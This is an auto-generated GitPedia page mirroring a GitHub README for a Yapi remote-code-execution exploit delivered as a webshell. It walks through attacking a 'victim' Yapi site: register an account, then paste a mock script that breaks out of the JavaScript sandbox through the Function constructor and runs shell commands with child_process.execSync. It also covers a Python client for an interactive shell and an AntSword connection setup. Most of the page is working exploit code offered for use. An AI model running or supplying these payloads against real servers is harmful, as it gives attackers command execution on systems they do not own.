GitPedia

Yapi rce webshell

Yapi mock script RCE another version. Webshell way. 另一种 Webshell 方式的 Yapi 命令执行的方法 相比于其他的利用方式 更加微操和可控 影响更小

From Esonhugh·Updated November 13, 2025·View on GitHub·

**yapi rce webshell** is a Yapi mock script RCE another version. Webshell way. 另一种 Webshell 方式的 Yapi 命令执行的方法 相比于其他的利用方式 更加微操和可控 影响更小 The project is written primarily in Python, first published in 2022. Key topics include: exp, exploit, mock, mockjs, rce.

yapi-rce-webshell

Yapi mock script RCE another version. Webshell way.

https://github.com/YMFE/yapi/issues/2099

funny things

usage:

  1. victim yapi website
  2. register account
  3. craete project and create api in it
  4. create mock script like
js
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("cd "+cookie.dir+";"+cookie.cmd).toString() // you can also add exec function to do some async jobs like running enum scripts
  1. use python script to connect webshell and interactive
bash
python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test } -i # interactive mode # or python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test} {cmd dir,you can use "."} {command location}

AntSword-like Alternative

  1. Same as usage
  2. But Create an API With Advanced Mock POST Method.
js
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync(params.data).toString() // you can also add exec function to do some async jobs like running enum scripts
  1. Open AntSword
  2. Create with Config like
  • Type: CMDLINUX
  • Pass: data
  • URL: mock url in Yapi config
  • encoder: default
  • decoder: base64
  1. enjoy your webshell

Contributors

Showing top 1 contributor by commit count.

View all contributors on GitHub →

This article is auto-generated from Esonhugh/yapi-rce-webshell via the GitHub API.Last fetched: 6/24/2026